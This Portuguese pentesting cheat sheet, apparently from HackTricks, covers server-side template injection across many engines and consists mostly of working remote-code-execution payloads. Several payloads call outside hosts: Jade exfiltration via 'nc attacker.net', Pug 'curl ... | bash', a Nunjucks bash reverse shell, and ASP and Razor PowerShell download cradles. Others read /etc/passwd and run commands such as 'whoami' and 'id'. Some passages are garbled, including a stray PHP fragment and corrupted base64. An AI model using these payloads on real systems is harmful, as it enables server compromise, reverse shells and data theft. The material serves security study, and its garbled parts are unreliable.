```
## Injeção de Template do Lado do Servidor (SSTI)
### Descrição
Este diretório contém um exemplo de aplicação web vulnerável a ataques de Injeção de Template do Lado do Servidor (SSTI). A vulnerabilidade ocorre quando um aplicativo web permite que o usuário insira código de template que é executado no servidor.
O arquivo `authors.php` é um exemplo de página que exibe informações sobre autores de livros. Ele usa um mecanismo de template para renderizar os dados na página. No entanto, o aplicativo não valida ou filtra adequadamente as entradas do usuário, o que permite a injeção de código de template malicioso.
### Exploração
Para explorar essa vulnerabilidade, você pode inserir código de template malicioso na entrada do parâmetro `author` na URL. O código de template será executado no servidor e poderá ser usado para executar comandos arbitrários, ler arquivos sensíveis ou realizar outras ações indesejadas.
Por exemplo, você pode tentar inserir o seguinte código de template na URL:
```
http://localhost/authors.php?author={{7*7}}
```
Isso resultará na exibição do resultado da expressão `7*7` na página.
### Mitigação
Para mitigar essa vulnerabilidade, é importante validar e filtrar adequadamente as entradas do usuário antes de usá-las em um mecanismo de template. Isso pode ser feito usando bibliotecas ou frameworks que possuem recursos de segurança embutidos para evitar a execução de código malicioso.
Além disso, é recomendável manter todos os componentes do aplicativo web atualizados com as versões mais recentes, pois as atualizações frequentemente corrigem vulnerabilidades conhecidas.
```php
'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
#### Jade (NodeJS)
O Jade é um mecanismo de modelo de servidor-side para NodeJS que permite a injeção de código no lado do servidor. Ele é usado para gerar HTML dinamicamente com base em modelos. No entanto, a injeção de modelo no lado do servidor pode levar a vulnerabilidades de injeção de código, como a injeção de modelo no lado do servidor (SSTI).
A injeção de modelo no lado do servidor ocorre quando um invasor consegue inserir código malicioso em um modelo que é posteriormente processado pelo servidor. Isso pode permitir que o invasor execute código arbitrário no servidor, o que pode levar a uma série de problemas de segurança, como vazamento de informações confidenciais, execução remota de código e comprometimento do servidor.
Para explorar uma vulnerabilidade de SSTI no Jade, um invasor precisa encontrar um ponto de injeção no modelo e inserir código malicioso. Isso pode ser feito através da manipulação de entradas do usuário ou da exploração de falhas de validação de entrada no código do aplicativo.
Para mitigar o risco de SSTI no Jade, é importante seguir as práticas recomendadas de segurança, como:
* Validar e sanitizar todas as entradas do usuário antes de processá-las no modelo.
* Evitar a execução de código arbitrário no servidor a partir do modelo.
* Limitar as permissões do servidor para minimizar o impacto de uma possível exploração de SSTI.
Ao realizar testes de penetração em um aplicativo que usa o Jade como mecanismo de modelo, é importante verificar se existem pontos de injeção de modelo no lado do servidor e tentar explorar essas vulnerabilidades para identificar possíveis riscos de segurança.
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**Mais informações**
* Na seção Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
#### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) é um mecanismo de modelagem PHP não compilado, que usa tags XML para dividir um documento em diferentes partes.
```xml
This is the main page.
It contains another template.
Hello {NAME}.
```
#### Handlebars (NodeJS)
Travessia de Caminho (mais informações [aqui](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* \= Erro
* ${7\*7} = ${7\*7}
* Nada
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
**Mais informações**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
#### JsRender (NodeJS)
| **Modelo** | **Descrição** |
| ---------- | --------------------------------------------- |
| | Avaliar e renderizar saída |
| | Avaliar e renderizar saída codificada em HTML |
| | Comentário |
| e | Permitir código (desativado por padrão) |
* \= 49
**Lado do Cliente**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Lado do Servidor**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**Mais informações**
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
#### PugJs (NodeJS)
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**Exemplo de renderização do lado do servidor**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
**Mais informações**
* [https://licenciaparahackear.github.io/pt/posts/burlando-um-sandbox-js-restritivo/](https://licenciaparahackear.github.io/pt/posts/burlando-um-sandbox-js-restritivo/)
#### NUNJUCKS (NodeJS)
* \{{7\*7\}} = 49
* \{{foo\}} = Sem saída
* \#{7\*7} = #{7\*7}
* \{{console.log(1)\}} = Erro
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
**Mais informações**
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
#### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Erro`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
**Mais informações**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
#### Slim (Ruby)
* `{ 7 * 7 }`
```
{ %x|env| }
```
**Mais informações**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
#### Python
Confira a seguinte página para aprender truques sobre **execução de comandos arbitrários contornando ambientes restritos** em python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
#### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`
```python
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**Mais informações**
#### Jinja2 (Python)
[Website oficial](http://jinja.pocoo.org)
> Jinja2 é um mecanismo de template completo para Python. Possui suporte completo a unicode, um ambiente de execução integrado opcionalmente isolado, amplamente utilizado e licenciado sob a BSD.
* `{{7*7}} = Erro`
* `${7*7} = ${7*7}`
* `{{foobar}} Nada`
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
* ``
```python
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Formato de Template**
Jinja2 é um mecanismo de template popular para Python. Ele permite a criação de templates dinâmicos, onde é possível inserir variáveis, estruturas de controle e expressões dentro do código HTML. Os templates Jinja2 são salvos com a extensão `.html` e podem ser renderizados pelo servidor web.
**Injeção de Template do Lado do Servidor (SSTI)**
A Injeção de Template do Lado do Servidor (SSTI) é uma vulnerabilidade que ocorre quando um aplicativo web permite que o usuário insira código malicioso em um template. Isso pode levar à execução de código arbitrário no servidor, permitindo que um invasor comprometa o sistema.
**Explorando a Injeção de Template do Lado do Servidor**
Para explorar a SSTI, é necessário identificar onde o código injetado é processado e renderizado pelo servidor. Em muitos casos, os aplicativos web usam o mecanismo de template Jinja2 para renderizar os templates. Portanto, é importante entender a sintaxe e as funcionalidades do Jinja2 para explorar essa vulnerabilidade.
**Sintaxe do Jinja2**
O Jinja2 usa uma sintaxe semelhante ao Python para inserir variáveis e expressões nos templates. As variáveis são colocadas entre chaves duplas `{{ }}`, enquanto as estruturas de controle são colocadas entre chaves percentuais `{% %}`. Além disso, é possível usar filtros para modificar os valores das variáveis.
**Exemplo de Template Jinja2**
Aqui está um exemplo de um template Jinja2 básico:
```html
Exemplo de Template Jinja2
Bem-vindo(a), {{ nome }}!
Seu saldo atual é de R$ {{ saldo | floatformat(2) }}.
```
Neste exemplo, o template exibe uma mensagem de boas-vindas com o nome do usuário e o saldo atual formatado com duas casas decimais.
**Prevenção da Injeção de Template do Lado do Servidor**
Para prevenir a SSTI, é importante validar e sanitizar todas as entradas do usuário antes de processá-las nos templates. Além disso, é recomendado desabilitar recursos perigosos do Jinja2, como a execução de código Python.
**Conclusão**
A Injeção de Template do Lado do Servidor é uma vulnerabilidade séria que pode permitir a execução de código arbitrário no servidor. Ao entender a sintaxe e as funcionalidades do Jinja2, é possível explorar essa vulnerabilidade e tomar medidas para preveni-la.
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
{% endblock %}
{% endraw %}
```
[**RCE não dependente de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Mais detalhes sobre como abusar do Jinja**:
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}
#### Mako (Python)
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
#### Razor (.Net)
* `@(2+2) <= Sucesso`
* `@() <= Sucesso`
* `@("{{code}}") <= Sucesso`
* `@ <= Sucesso`
* `@{} <= ERRO!`
* `@{ <= ERRO!`
* `@(1+2)`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3cAcwBcAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
O método `System.Diagnostics.Process.Start` do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de aplicativo da web vulnerável em [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Mais informações**
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
#### ASP
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Nada
* `<%= response.write(date()) %>` = \
```bash
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Mais Informações**
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
#### Mojolicious (Perl)
Mesmo sendo perl, ele usa tags como ERB em Ruby.
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Erro`
```
<%= perl code %>
<% perl code %>
```
#### SSTI em GO
Para confirmar que o mecanismo de template usado no backend é Go, você pode usar esses payloads:
* `{{ . }}` = estrutura de dados sendo passada como entrada para o template
* Se os dados passados forem um objeto que contém o atributo Password, por exemplo, o payload anterior vazaria isso, mas você também poderia fazer: `{{ .Password }}`
* `{{printf "%s" "ssti" }}` = deve exibir a string ssti na resposta
* `{{html "ssti"}}`, `{{js "ssti"}}` = Esses são alguns outros payloads que devem exibir a string "ssti" sem as palavras "js" ou "html" no final. Você pode consultar mais palavras-chave no mecanismo [aqui](https://golang.org/pkg/text/template).
**Exploração de XSS**
Se o servidor estiver **usando o pacote text/template**, é muito fácil alcançar o XSS **simplesmente** fornecendo seu **payload** como entrada. No entanto, isso **não é o caso com html/template**, pois ele codifica a resposta em HTML: `{{""}}` --> `<script>alert(1)</script>`
No entanto, o Go permite **DEFINIR** um **template** completo e depois **chamá-lo posteriormente**. O payload será algo como:\
`{{define "T1"}}{{end}} {{template "T1"}}`
**Exploração de RCE**
A documentação para o módulo html/template pode ser encontrada [aqui](https://golang.org/pkg/html/template/), e a documentação para o módulo text/template pode ser encontrada [aqui](https://golang.org/pkg/text/template/), e sim, elas são diferentes, muito diferentes. Por exemplo, em **text/template**, você pode **chamar diretamente qualquer função pública com o valor "call"**, no entanto, esse não é o caso com html/template.
Se você deseja encontrar um RCE em Go via SSTI, saiba que, assim como você pode acessar o objeto fornecido ao template com `{{ . }}`, você também pode **chamar os métodos do objeto**. Portanto, imagine que o **objeto passado tenha um método chamado System** que executa o comando fornecido, você pode abusar dele com: `{{ .System "ls" }}`\
Portanto, provavelmente você **precisará do código-fonte**. Um código-fonte potencial para algo assim seria:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Mais informações**
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
#### Mais Exploits
Verifique o restante em [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) para mais exploits. Você também pode encontrar informações interessantes sobre tags em [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
### BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
### Ajuda Relacionada
Se você acha que pode ser útil, leia:
* [Dicas do Flask](../../network-services-pentesting/pentesting-web/flask.md)
* [Funções mágicas do Python](broken-reference/)
### Ferramentas
{% embed url="https://github.com/epinna/tplmap" %}
### Lista de Detecção de Força Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
### Prática e Referências
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 (3) (3).png)
